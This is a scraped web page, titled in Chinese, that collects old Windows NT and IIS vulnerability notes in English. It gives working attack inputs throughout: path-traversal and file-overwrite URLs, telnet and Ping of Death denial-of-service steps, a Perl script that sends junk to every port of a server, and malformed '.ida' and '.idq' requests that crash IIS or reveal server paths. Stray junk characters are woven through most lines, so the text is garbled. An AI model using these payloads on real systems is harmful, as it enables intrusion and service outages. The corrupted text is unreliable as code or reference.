NT的漏洞及描述(英文）

受影响系统:4.0,iis 1.0
A URL such as 'http://www.domain.com/..\..' allows you to browse and download files outside of the webserver content root directory.

A URL such as 'http://www.domain.com/scripts..\..\scriptname' allows you to execute the target script.
: H) @6 b% W4 W; H& S! q
By default user 'Guest' or IUSR_WWW has read access to all files on an NT disk. These files can be browsed, executed or downloaded by wandering guests.

--------------------------------------------------------------------
/ m2 d  O/ |5 r. T" Y: }9 ~
# \( A& k- r. e2 S6 i3 a$ I; v受影响系统:4.0
& L& m3 E8 \* v$ ]A URL such as http://www.domain.com/scripts/exploit.bat>PATH\target.bat will create a file 'target.bat''.

If the file 'target.bat' exists, the file will be truncated.

4 Y5 H* y* ^- w& y. O
% ]3 h1 {' V# J+ C3 o: o+ k4 b: s$ _, yA URL such as http://www.domain.com/scripts/script_name%0A%0D>PATH\target.bat will create an output file 'target.bat''.
) I* d% V- v' Q& W- Z. |
, w% [; M6 ]2 r----------------------------------------------------------------------

7 s7 q- T! f$ ]) D: l% L! C受影响系统:3.51,4.0
- h0 [/ j$ B8 v3 [3 {! n1 [Multiple service ports (53, 135, 1031) are vunerable to 'confusion'.
( `' h/ U& t4 R6 R& Y% W
2 N7 K6 x5 L6 \" `2 r: GThe following steps;
& M6 l3 s4 L# t& o2 C, i1 E
2 Q6 Y  n' G8 e0 Y5 B# \Telnet to an NT 4.0 system on port 135
0 m: q! V  N. I( ]5 \5 z% a- e" cType about 10 characters followed by a <CR>
Exit Telnet
* t2 q# _, x  ^" Zresults in a target host CPU utilization of 100%, though at a lower priority than the desktop shell. Multiple services which are confused can result in a locked system.
  x9 O% V, Q0 `& D4 ~% H  @
6 b4 f  A# l4 a- c0 L0 v; zWhen launched against port 135, NT Task manager on the target host shows RPCSS.EXE using more than usual process time. To clear this the system must be rebooted.
/ }/ Q: o0 K2 Q1 M* d( R
The above also works on port 1031 (inetinfo.exe) where IIS services must be restarted.
1 c' |$ s4 x+ Q; N- f
! O# h9 Z  C+ Y; J6 ~0 S# _. q3 ]If a DNS server is running on the system, this attack against port 53 (dns.exe) will cause DNS to stop functioning.
3 r4 ?4 J! v7 V+ i; T1 o9 b& X' b
' S; s# c% J0 Q6 MThe following is modified perl script gleaned from postings in the NTsecurity@iss.net list to test ports on your system (Perl is available from the NT resource kit):

/*begin poke code*/

0 E! O) a+ P! W" M% Q3 B/ w6 Xuse Socket;
use FileHandle;
# L) w1 X; H8 s4 O) `$ \5 v. B  ~2 r; Y: Yrequire "chat2.pl";
7 N5 ?( o6 b3 n; N9 H
$systemname = $ARGV[0] && shift;

$verbose = 1; # tell me what you're hitting
$knownports = 1; # don't hit known problem ports
" m) ^" Y7 {' Wfor ($port = $0; $port<65535; $port++)
{
1 e; k' H8 H+ F( U& y

if ($knownports && ($port == 53 || $port == 135 || $port== 1031)) {
. M, e8 X- E: B' c5 Gnext;
}
, Z9 H) \/ z& s: y: E5 ?$fh = chat::open_port($systemname, $port);
chat::print ($fh,"This is about ten characters or more");
( R5 K' B  ]7 Y6 a8 l( aif ($verbose) {
! B+ {9 l) m: p. I0 mprint "Trying port: $port\n";
) V& w8 V( d6 x) i/ u9 ~}
2 [- M$ U: C' j. O# L  \chat::close($fh);

}
; _* N4 P& R; C8 \9 c
; A9 o# K: @2 x% z
) J, p0 |: ?2 R1 s/ ^/*end poke code*/
9 |, D9 E- M. H' ~) ~# p
. c8 i2 Y, W; P5 u: u* `Save the above text as c:\perl\bin\poke, run like this: C:\perl\bin> perl poke servername

--------------------------------------------------------------------------------
+ c' R5 _4 J8 T( j7 P- Z
受影响系统:4.0
Using a telnet application to get to a webserver via HTTP port 80, and typing "GET ../.." <cr> will crash IIS.
; E6 f4 N; U, _" D! x  U: b
This attack causes Dr. Watson to display an alert window and to log an error:

"The application, exe\inetinfo.dbg, generated an application error The error occurred on date@ time The exception generated was c0000005 at address 53984655 (TCP_AUTHENT::TCP_AUTHENT"
7 w; O& r/ F. I% r
--------------------------------------------------------------------------------

受影响系统:3.51,4.0
% c4 B  x8 V1 H: pLarge packet pings (PING -l 65527 -s 1 hostname) otherwise known as 'Ping of Death' can cause a blue screen of death on 3.51 systems:

STOP: 0X0000001E
KMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS

-OR-
! `" e2 l! r* g7 Z3 b
STOP: 0x0000000A
. J: |) @, \) s! NIRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS

NT 4.0 is vunerable sending large packets, but does not crash on receiving large packets.

* S8 v) S+ D  A9 z--------------------------------------------------------------------------------
: @9 m) d% R" _+ \9 e
Microsoft IIS 5.0 has problems handling a specific form of URL ending with "ida". The problem can have 2 kinds of results. One possible outcome is that the server responds with a message like "URL String too long"; "Cannot find the specified path" or the like. The other possible result is that the server terminates with an "Access Violation" message (effectively causing a Denial of Service attack against the server). Vulnerable are all IIS versions (up to and including IIS 5.0). When a remote attacker issues a URL request with the malformed URL: http://www.example.com/...[25kb of '.']...ida The server will either crash (causing an effective DoS attack) or report its current directory location (revealing the directory structure).

--------------------------------------------------------

IIS, Microsoft's Internet Information Server, can be used to reveal the true path of the files (where they physically reside on the local hard drive), by requesting a non-existing file with an IDQ/IDA extension. By requesting a URL such as: http://www.microsoft.com/anything.ida Or: http://www.microsoft.com/anything.idq A remote user will get a response that looks like: 'The IDQ d:\http\anything.idq could not be found' Such a response allows him to gain further knowledge on how the web site is organized and the directory structure of the server